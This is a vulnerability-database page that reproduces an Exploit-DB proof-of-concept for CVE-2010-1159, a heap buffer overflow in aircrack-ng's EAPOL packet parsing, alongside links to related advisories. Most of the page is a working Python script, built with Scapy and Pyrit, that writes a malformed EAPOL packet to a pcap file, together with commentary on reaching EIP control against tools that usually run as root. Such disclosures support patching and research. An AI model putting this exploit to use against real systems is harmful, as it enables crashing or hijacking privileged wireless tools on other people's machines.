Lucene search
+L

Aircrack-NG Tools svn r1675 - Remote Heap Buffer Overflow (PoC)

🗓️ 14 Apr 2010 00:00:00Reported by Lukas LuegType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 27 Views

Aircrack-NG Tools Remote Heap Buffer Overflo

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2010-1159
14 Apr 201000:00
circl
CVE
CVE-2010-1159
28 Oct 201322:00
cve
Cvelist
CVE-2010-1159
28 Oct 201322:00
cvelist
Debian CVE
CVE-2010-1159
28 Oct 201322:00
debiancve
Tenable Nessus
GLSA-201310-06 : Aircrack-ng: User-assisted execution of arbitrary code
8 Oct 201300:00
nessus
Tenable Nessus
Mandriva Linux Security Advisory : aircrack-ng (MDVSA-2013:251)
20 Oct 201300:00
nessus
Gentoo Linux
Aircrack-ng: User-assisted execution of arbitrary code
7 Oct 201300:00
gentoo
Mageia
Updated aircrack-ng package fixes security vulnerability
17 Oct 201319:01
mageia
NVD
CVE-2010-1159
28 Oct 201322:55
nvd
OpenVAS
Gentoo Security Advisory GLSA 201310-06
29 Sep 201500:00
openvas
Rows per page
#!/usr/bin/env python
# -*- coding: UTF-8 -*-

''' A remote-exploit against the aircrack-ng tools. Tested up to svn r1675.

    The tools' code responsible for parsing IEEE802.11-packets assumes the
    self-proclaimed length of a EAPOL-packet to be correct and never to exceed
    a (arbitrary) maximum size of 256 bytes for packets that are part of the
    EAPOL-authentication. We can exploit this by letting the code parse packets
    which:
     a) proclaim to be larger than they really are, possibly causing the code
        to read from invalid memory locations while copying the packet;
     b) really do exceed the maximum size allowed and overflow data structures
        allocated on the heap, overwriting libc's allocation-related
        structures. This causes heap-corruption.

    Both problems lead either to a SIGSEGV or a SIGABRT, depending on the code-
    path. Careful layout of the packet's content can even possibly alter the
    instruction-flow through the already well known heap-corruption paths
    in libc. Playing with the proclaimed length of the EAPOL-packet and the
    size and content of the packet's padding immediately end up in various
    assertion errors during calls to free(). This reveals the possibility to
    gain control over $EIP.

    Given that we have plenty of room for payload and that the tools are
    usually executed with root-privileges, we should be able to have a
    single-packet-own-everything exploit at our hands. As the attacker can
    cause the various tools to do memory-allocations at his will (through
    faking the appearance of previously unknown clients), the resulting
    exploit-code should have a high probability of success.

    The demonstration-code below requires Scapy >= 2.x and Pyrit >= 0.3.1-dev
    r238 to work. It generates pcap-file with single packet of the following
    content:

    0801000000DEADC0DE0000DEADC0DE010000000000000000AAAA03000000888E0103FDE8FE0
    108000000000000000000000000000000000000000000000000000000000000000000000000
    000000000000000000000000000000000000000000000000000000000000000000000000000
    000000000000000000000000000000000000043616E20492068617320736F6D65206D6F6172
    3F

    03/27/2010, Lukas Lueg, [email protected]
'''

import cpyrit.pckttools
import scapy.layers

# A IEEE802.11-packet with LLC- and SNAP-header, looking like the second
# phase of a EAPOL-handshake (the confirmation). The size set in the EAPOL-
# packet will cause an overflow of the "eapol"-field in struct WPA_ST_info and
# struct WPA_hdsk.
# We have plenty of room for exploit-payload as most of the fields in the
# EAPOL_Key-packet are not interpreted. As far as I can see, the adjacent
# heap structure will be overwritten by the value of EAPOL_WPAKey.Nonce in
# case of airodump-ng...
pckt = scapy.layers.dot11.Dot11(addr1='00:de:ad:c0:de:00',       \
                                addr2='00:de:ad:c0:de:01',       \
                                FCfield='to-DS')                 \
       / scapy.layers.dot11.LLC()                                \
       / scapy.layers.dot11.SNAP()                               \
       / scapy.layers.l2.EAPOL(len=65000)                        \
       / cpyrit.pckttools.EAPOL_Key()                            \
       / cpyrit.pckttools.EAPOL_WPAKey(KeyInfo = 'pairwise+mic') \
       / scapy.packet.Padding(load='Can I has some moar?')

if __name__ == '__main__':
    print "Packet's content:"
    print ''.join("%02X" % ord(c) for c in str(pckt))
    filename = 'aircrackng_exploit.cap'
    print "Writing to '%s'" % filename
    writer = cpyrit.pckttools.Dot11PacketWriter(filename)
    writer.write(pckt)
    writer.close()
    print 'Done'

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Nov 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.07263
27